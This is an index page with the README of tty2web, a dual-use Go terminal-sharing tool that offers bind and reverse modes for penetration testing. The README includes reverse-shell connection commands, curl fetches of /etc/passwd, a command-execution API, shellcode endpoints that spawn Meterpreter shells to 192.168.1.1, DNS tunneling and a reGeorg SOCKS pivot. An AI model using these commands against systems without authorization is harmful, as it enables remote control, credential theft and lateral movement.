Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/kost/tty2web

Share your terminal as a web application in bind/reverse mode
https://github.com/kost/tty2web

gotty hacktober hacktoberfest tty web

Last synced: 7 days ago
JSON representation

Share your terminal as a web application in bind/reverse mode

Host: GitHub
URL: https://github.com/kost/tty2web
Owner: kost
License: mit
Created: 2019-10-08T02:18:56.000Z (about 5 years ago)
Default Branch: master
Last Pushed: 2024-03-13T23:09:02.000Z (8 months ago)
Last Synced: 2024-10-16T06:25:51.594Z (19 days ago)
Topics: gotty, hacktober, hacktoberfest, tty, web
Language: Go
Homepage:
Size: 7.26 MB
Stars: 118
Watchers: 11
Forks: 21
Open Issues: 4
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Security: SECURITY.md

Awesome Lists containing this project

awesome-hacking-lists - kost/tty2web - Share your terminal as a web application in bind/reverse mode (Go)

README

# ![](https://raw.githubusercontent.com/kost/tty2web/master/resources/favicon.png) tty2web - Share your terminal as a web application (bind/reverse)

[![CircleCI](https://dl.circleci.com/status-badge/img/gh/kost/tty2web/tree/master.svg?style=svg)](https://dl.circleci.com/status-badge/redirect/gh/kost/tty2web/tree/master)
[![MIT License](http://img.shields.io/badge/license-MIT-blue.svg?style=flat-square)][license]

[release]: https://github.com/kost/tty2web/releases

[license]: https://github.com/kost/tty2web/blob/master/LICENSE

tty2web is a simple command line tool that turns your CLI tools into web applications. it is based on [Gotty](https://github.com/yudai/gotty), but heavily improved.

Improvements include:

- implementation of bind and reverse mode (useful for penetration testing/NAT traversal),
- DNS tunnel support - (sub)domain you control is required
- bidirectional file transfer (download/upload)
- regeorg/SOCKS 5 support (bind/reverse mode)
- API support (run commands over API)
- support for Windows (and conpty!)
- components upgrade (go and js including xterm.js)

![Screenshot](https://raw.githubusercontent.com/kost/tty2web/master/screenshot.gif)

# Installation

Download the latest stable binary file from the [Releases](https://github.com/kost/tty2web/releases) page. Note that the release marked `Pre-release` is built for testing purpose, which can include unstable or breaking changes. Download a release marked [Latest release](https://github.com/kost/tty2web/releases/latest) for a stable build.

(Files named with `darwin_amd64` are for Mac OS X users)

## `go install` Installation (Development)

If you have a Go language environment, you can install tty2web with the `go install` command. However, this command builds a binary file from the latest master branch, which can include unstable or breaking changes. tty2web requires go1.18 or later (embed directive and dependency github.com/urfave/cli have strings.Builder). Also, note that you have to checkot source code and then run go install due to using forked version of pty module.

```sh
$ git clone github.com/kost/tty2web
$ cd tty2web
$ go install
```

I would suggest to build it with following commands (make sure that you have $GOPATH set to valid value):

```sh
git clone https://github.com/kost/tty2web $GOPATH/src/tty2web
cd $GOPATH/src/tty2web
make tools
make tty2web
```

# Usage

Usage: tty2web [options] []

Run `tty2web` with your preferred command as its arguments (e.g. `tty2web top`).

By default, tty2web starts a web server at port 8080. Open the URL on your web browser and you can see the running command as if it were running on your terminal.

# Example usage

Bind mode is simple, specify port to listen and command to run (add -w if you want to interact):

tty2web --port 8081 top

Point your web browser to IP and port 8081 in order to see output of top. Add -w if you want to interact directly in the browser.

For reverse mode, you need to start listener first:

tty2web --listen :4444 --server 127.0.0.1:8000 --password test

After having listener running, you can start client to connect to the listener:

tty2web --connect 192.168.1.1:4444 --password test -w /bin/sh

Point your web browser to

## Options

```
--address value, -a value
--port value, -p value
--permit-write, -w
--credential
--random-url, -r
--enable-webgl
--all
--api
--sc
--regeorg
--random-url-length value
--url value
--jsurl value
--download value
--upload value
--tls, -t
--tls-crt value
--tls-key value
--tls-ca-crt value
--index value
--title-format value
--dns value
--dnslisten value
--dnskey value
--dnsdelay value
--listen value
--listencert value
--server value
--password value
--connect value
--proxy value
--proxyauth value
--useragent value
--reconnect
--verbose
--reconnect-time value
--max-connection value
--once
--timeout value
--permit-arguments
--width value
--height value
--ws-origin value
--term value
--close-signal value
--close-timeout value
--config value
--help
--version, -v
``` IP address to listen (default: "0.0.0.0") [$TTY2WEB_ADDRESS] Port number to listen (default: "8080") [$TTY2WEB_PORT] Permit clients to write to the TTY (BE CAREFUL) (default: false) [$TTY2WEB_PERMIT_WRITE] value, -c value Credential for Basic Authentication (ex: user:pass, default disabled) [$TTY2WEB_CREDENTIAL] Add a random string to the URL (default: false) [$TTY2WEB_RANDOM_URL] Enable WebGL renderer (default: false) [$TTY2WEB_ENABLE_WEBGL] Turn on all features: download /, upload /, api, regeorg, ... (default: false) [$TTY2WEB_ALL] Enable API for executing commands on the system (BE CAREFUL!) (default: false) [$TTY2WEB_API] Enable API for executing sc on the system (BE CAREFUL!) (default: false) [$TTY2WEB_SC] Enable socks4/socks5 proxy using regeorg (default: false) [$TTY2WEB_REGEORG] Random URL length (default: 8) [$TTY2WEB_RANDOM_URL_LENGTH] Specify string for the URL [$TTY2WEB_URL] Specify string for custom URL serving Javascript files (useful for DNS) [$TTY2WEB_JSURL] Serve files to download from specified dir [$TTY2WEB_DOWNLOAD] Enable uploading of files to the specified dir (BE CAREFUL!) [$TTY2WEB_UPLOAD] Enable TLS/SSL (default: false) [$TTY2WEB_TLS] TLS/SSL certificate file path (default: "~/.tty2web.crt") [$TTY2WEB_TLS_CRT] TLS/SSL key file path (default: "~/.tty2web.key") [$TTY2WEB_TLS_KEY] TLS/SSL CA certificate file for client certifications (default: "~/.tty2web.ca.crt") [$TTY2WEB_TLS_CA_CRT] Custom index.html file [$TTY2WEB_INDEX] Title format of browser window (default: "{{ .command }}@{{ .hostname }}") [$TTY2WEB_TITLE_FORMAT] Use domain for DNS tunneling (ex. example.com) [$TTY2WEB_DNS] Listen for reverse connection agents (ex. 0.0.0.0:53) [$TTY2WEB_DNSLISTEN] Password/Key to use for DNS tunnel [$TTY2WEB_DNSKEY] Delay time between polling for DNS requests (default: "200ms") [$TTY2WEB_DNSDELAY] Listen for reverse connection agents (ex. 0.0.0.0:4444) [$TTY2WEB_LISTEN] Certificate and key for listen server (ex. mycert) [$TTY2WEB_LISTENCERT] Server for forwarding reverse connections (ex. 127.0.0.1:6000) (default: "127.0.0.1:6000") [$TTY2WEB_SERVER] Password for reverse server connection [$TTY2WEB_PASSWORD] Connect to host for reverse connection (ex. 192.168.1.1:4444) [$TTY2WEB_CONNECT] Use proxy for reverse server connection (ex. 192.168.1.1:8080) [$TTY2WEB_PROXY] Use proxy authentication for reverse server connection (ex. DOMAIN/user:password) [$TTY2WEB_PROXYAUTH] Use user agent for reverse server connection (ex. Mozilla) [$TTY2WEB_USERAGENT] Enable reconnection (default: false) [$TTY2WEB_RECONNECT] Enable verbose messages (default: false) [$TTY2WEB_VERBOSE] Time to reconnect (default: 10) [$TTY2WEB_RECONNECT_TIME] Maximum connection to tty2web (default: 0) [$TTY2WEB_MAX_CONNECTION] Accept only one client and exit on disconnection (default: false) [$TTY2WEB_ONCE] Timeout seconds for waiting a client(0 to disable) (default: 0) [$TTY2WEB_TIMEOUT] Permit clients to send command line arguments in URL (e.g. http://example.com:8080/?arg=AAA&arg=BBB) (default: false) [$TTY2WEB_PERMIT_ARGUMENTS] Static width of the screen, 0(default) means dynamically resize (default: 0) [$TTY2WEB_WIDTH] Static height of the screen, 0(default) means dynamically resize (default: 0) [$TTY2WEB_HEIGHT] A regular expression that matches origin URLs to be accepted by WebSocket. No cross origin requests are acceptable by default [$TTY2WEB_WS_ORIGIN] Terminal name to use on the browser, one of xterm or hterm. (default: "xterm") [$TTY2WEB_TERM] Signal sent to the command process when tty2webclose it (default: SIGHUP) (default: 1) [$TTY2WEB_CLOSE_SIGNAL] Time in seconds to force kill process after client is disconnected (default: -1) (default: -1) [$TTY2WEB_CLOSE_TIMEOUT] Config file path (default: "~/.tty2web") [$TTY2WEB_CONFIG] Displays help (default: false) print the version

### Config File

You can customize default options and your terminal (hterm) by providing a config file to the `tty2web` command. tty2web loads a profile file at `~/.tty2web` by default when it exists.

// Listen at port 9000 by default
port = "9000"

// Enable TSL/SSL by default
enable_tls = true

// hterm preferences
// Smaller font and a little bit bluer background color
preferences {
font_size = 5
background_color = "rgb(16, 16, 32)"
}

See the [`.tty2web`](https://github.com/kost/tty2web/blob/master/.tty2web) file in this repository for the list of configuration options.

### Security Options

By default, tty2web doesn't allow clients to send any keystrokes or commands except terminal window resizing. When you want to permit clients to write input to the TTY, add the `-w` option. However, accepting input from remote clients is dangerous for most commands. When you need interaction with the TTY for some reasons, consider starting tty2web with tmux or GNU Screen and run your command on it (see "Sharing with Multiple Clients" section for detail).

To restrict client access, you can use the `-c` option to enable the basic authentication. With this option, clients need to input the specified username and password to connect to the tty2web server. Note that the credentical will be transmitted between the server and clients in plain text. For more strict authentication, consider the SSL/TLS client certificate authentication described below.

The `-r` option is a little bit casualer way to restrict access. With this option, tty2web generates a random URL so that only people who know the URL can get access to the server.

All traffic between the server and clients are NOT encrypted by default. When you send secret information through tty2web, we strongly recommend you use the `-t` option which enables TLS/SSL on the session. By default, tty2web loads the crt and key files placed at `~/.tty2web.crt` and `~/.tty2web.key`. You can overwrite these file paths with the `--tls-crt` and `--tls-key` options. When you need to generate a self-signed certification file, you can use the `openssl` command.

```sh
openssl req -x509 -nodes -days 9999 -newkey rsa:2048 -keyout ~/.tty2web.key -out ~/.tty2web.crt
```

(NOTE: For Safari uses, see [how to enable self-signed certificates for WebSockets](http://blog.marcon.me/post/24874118286/secure-websockets-safari) when use self-signed certificates)

For additional security, you can use the SSL/TLS client certificate authentication by providing a CA certificate file to the `--tls-ca-crt` option (this option requires the `-t` or `--tls` to be set). This option requires all clients to send valid client certificates that are signed by the specified certification authority.

## File transfer

File transfer is supported by using standard HTTP protocol. It is possible to upload and download. It is not enabled by default. You need to specifically enable upload and/or download.
It works both in bind and reverse mode.

### Download

Start tty2web server with --download dir specified. If you need access to root - specify root(/):

```sh
tty2web --port 8080 --download / -w bash
```

Now you can download files by pointing browser to or with simple curl command:

```sh
curl http://127.0.0.1:8080/dl/etc/passwd
```

It will download /etc/passwd file with curl.

### Upload

Start tty2web server with --upload dir specified. If you need access to root - specify root(/):

```sh
tty2web --port 8080 --upload /tmp -w bash
```

Now you can upload file by pointing browser to or with simple curl command:

```sh
curl -F "f=@/etc/passwd" -F "s=upload" http://127.0.0.1:8080/ul/
```

It will upload file to the tty2web host to the /tmp/passwd file.

## Sharing with Multiple Clients

tty2web starts a new process with the given command when a new client connects to the server. This means users cannot share a single terminal with others by default. However, you can use terminal multiplexers for sharing a single process with multiple clients.

For example, you can start a new tmux session named `tty2web` with `top` command by the command below.

```sh
$ tty2web tmux new -A -s tty2web top
```

This command doesn't allow clients to send keystrokes, however, you can attach the session from your local terminal and run operations like switching the mode of the `top` command. To connect to the tmux session from your terminal, you can use following command.

```sh
$ tmux new -A -s tty2web
```

By using terminal multiplexers, you can have the control of your terminal and allow clients to just see your screen.

### Quick Sharing on tmux

To share your current session with others by a shortcut key, you can add a line like below to your `.tmux.conf`.

# Start tty2web in a new window with C-t
bind-key C-t new-window "tty2web tmux attach -t `tmux display -p '#S'`"

### Screen

Install screen:

apt-get install screen

Start a new session with `screen -S session-name` and connect to it with tty2web in another terminal window/tab through `screen -x session-name`.
All commands and activities being done in the first terminal tab/window will now be broadcasted by tty2web.

## Playing with Docker

When you want to create a jailed environment for each client, you can use Docker containers like following:

```sh
$ tty2web -w docker run -it --rm busybox
```

## API support

Start with:
```sh
$ tty2web --api top
```

Now, you can execute commands within GET query parameter space:

```sh
$ curl http://127.0.0.1:8080/api/?whoami
root
```

or with POST parameter:
```sh
$ curl -d whoami http://127.0.0.1:8080/api/
root
```

## DNS support

Requirement to have DNS tunneling working is that you have (sub)domain you control. You need to setup NS pointing to
where you will host your DNS server. From there you will access to the client.

Start DNS server:
```sh
$ tty2web --dns example.com --dnslisten :53 --server 127.0.0.1:8000
```

Start DNS client:
```sh
$ tty2web --dns example.com --dnskey top
```

Note that DNS tunneling can be slow.

You can speed up DNS boot up time to fetch initial javascript from Javascript on the Internet URL:

```sh
$ tty2web --dns example.com --dnskey --jsurl http://cdn.jsdelivr.net/gh/kost/tty2web/bindata/static/js/ top
```

## SC support

Start with:
```sh
$ tty2web --sc top
```

Now, you can execute sc within POST query parameter space:

```sh
$ curl -d "base64-encoded-string-with-sc" -ivk http://127.0.0.1:8080/sc/
root
```

or from file with POST parameter:
```sh
$ curl -d "@sc-127.0.0.1-4444.b64" -ivk http://127.0.0.1:8080/sc/
```

spawn Meterpreter shell over tcp to 192.168.1.1:
```sh
$ curl -H 'Accept-Language: msf-tcp' 'http://127.0.0.1:8080/sc/?192.168.1.1:4444'
```

spawn Meterpreter shell over https to 192.168.1.1:
```sh
$ curl -H 'Accept-Language: msf-https' -d '192.168.1.1:4444' http://127.0.0.1:8080/sc/
```

## Regeorg support

Start with:
```sh
$ tty2web --regeorg top
```

Now, you can start regeorg proxy:

```sh
$ pip install regeorg
[..]
$ reGeorgSocksProxy.py -u http://127.0.0.1:8080/regeorg/
[..]
[INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://127.0.0.1:8080/regeorg]
[..]
```

Now, you can pivot using socks4/socks5 proxy available on 127.0.0.1:8888:

```sh
$ curl -x socks5://127.0.0.1:8888 http://192.168.1.96
```

## Development

You can build a binary using the following commands. There is basic Windows support, but it is limited. go1.16 or later is required.

```sh
# Install tools
make tools

# Build
make
```

To build the frontend part (JS files and other static files), you need `npm`.

## Windows support

There is solid Windows support by using conpty. conpty support is available on Windows 10+ versions. It should fallback if conpty is not supported to standard stdin/stdout, but that is limited. In that fallback mode, cmd.exe did not work, but powershell.exe works:

```DOS .bat
tty2web.exe -w powershell.exe
```

## Architecture

tty2web uses [xterm.js](https://xtermjs.org/) and [hterm](https://groups.google.com/a/chromium.org/forum/#!forum/chromium-hterm) to run a JavaScript based terminal on web browsers. tty2web itself provides a websocket server that simply relays output from the TTY to clients and receives input from clients and forwards it to the TTY. This hterm + websocket idea is inspired by [Wetty](https://github.com/krishnasrinivas/wetty).

## Alternatives

### Command line client

- [gotty-client](https://github.com/moul/gotty-client): If you want to connect to tty2web or GoTTY server from your terminal

### Terminal/SSH on Web Browsers

- [gotty](https://github.com/yudai/gotty): Original gotty on which tty2web is based
- [maintaned gotty](https://github.com/sorenisanerd/gotty): Maintained gotty
- [Secure Shell (Chrome App)](https://chrome.google.com/webstore/detail/secure-shell/pnhechapfaindjhompbnflcldabbghjo): If you are a chrome user and need a "real" SSH client on your web browser, perhaps the Secure Shell app is what you want
- [Wetty](https://github.com/krishnasrinivas/wetty): Node based web terminal (SSH/login)
- [ttyd](https://tsl0922.github.io/ttyd): C port of GoTTY with CJK and IME support

### Terminal Sharing

- [tmate](http://tmate.io/): Forked-Tmux based Terminal-Terminal sharing
- [termshare](https://termsha.re): Terminal-Terminal sharing through a HTTP server
- [tmux](https://tmux.github.io/): Tmux itself also supports TTY sharing through SSH)

# Credits

tty2web is based on [gotty](https://github.com/yudai/gotty). To be specific, it is based on latest master branch at the time of the fork [commit on 13 Dec 2017](https://github.com/yudai/gotty/commit/a080c85cbc59226c94c6941ad8c395232d72d517)

# License

The MIT License